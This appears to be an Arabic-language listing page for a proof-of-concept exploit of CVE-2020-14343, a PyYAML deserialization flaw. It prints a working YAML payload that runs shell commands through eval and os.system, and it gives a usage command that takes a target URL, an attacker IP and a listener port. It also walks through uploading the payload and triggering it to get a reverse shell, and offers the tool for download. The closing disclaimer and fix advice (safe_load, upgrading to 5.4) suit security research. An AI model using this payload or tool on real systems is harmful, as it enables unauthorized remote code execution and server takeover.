CVE-2020-14343-PyYAML

حمولة CVE-2020-14343

عرض المستودع

2منذ 9 أشهر

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →

مبدأ الثغرة

عند استخدام PyYAML لدالة yaml.load() لتحليل بيانات غير موثوقة، فإنه لا يقيد علامات YAML الخطيرة (مثل !!python/object)، مما يسمح للمهاجم بإنشاء محتوى YAML ضار لتنفيذ كود Python تعسفي.

جوهر الحمولة (Payload):

!!python/object/new:tuple
  - !!python/object/new:map
    - !!python/name:eval
    - ["__import__('os').system('command')"]

طريقة الاستخدام

python poc.py <الهدف URL> <عنوان IP المهاجم> <منفذ الاستماع>

مثال:

python poc.py http://vulnerable-site.com 192.168.1.100 4444

خطوات الهجوم

يقوم النص البرمجي بتشغيل مستمع TCP محلي
رفع ملف YAML ضار إلى نقطة النهاية /upload على الهدف
تفعيل نقطة النهاية /login لتحميل وتحليل ملف YAML
يقوم الخادم الهدف بتنفيذ الحمولة، ثم يعيد قذيفة (reverse shell) إلى المهاجم

تثبيت التبعيات

pip install requests

إخلاء مسؤولية

⚠️ هذه الأداة مخصصة فقط للبحث الأمني والاختبار المصرح به!

لا تستخدمها لأغراض غير قانونية
تأكد من الحصول على إذن من النظام المستهدف قبل الاستخدام
المؤلف غير مسؤول عن أي إساءة استخدام

توصيات الإصلاح

استخدم yaml.safe_load() بدلاً من yaml.load()
قم بترقية PyYAML إلى الإصدار 5.4 أو أحدث
قم بالتحقق الصارم من إدخال المستخدم

روابط مرجعية

تنزيل الأداة

رقم CVE	CVE-2020-14343
المكون المتأثر	PyYAML < 5.4
نوع الثغرة	إلغاء التسلسل لتنفيذ كود عن بعد (RCE)
مستوى الخطورة	عالي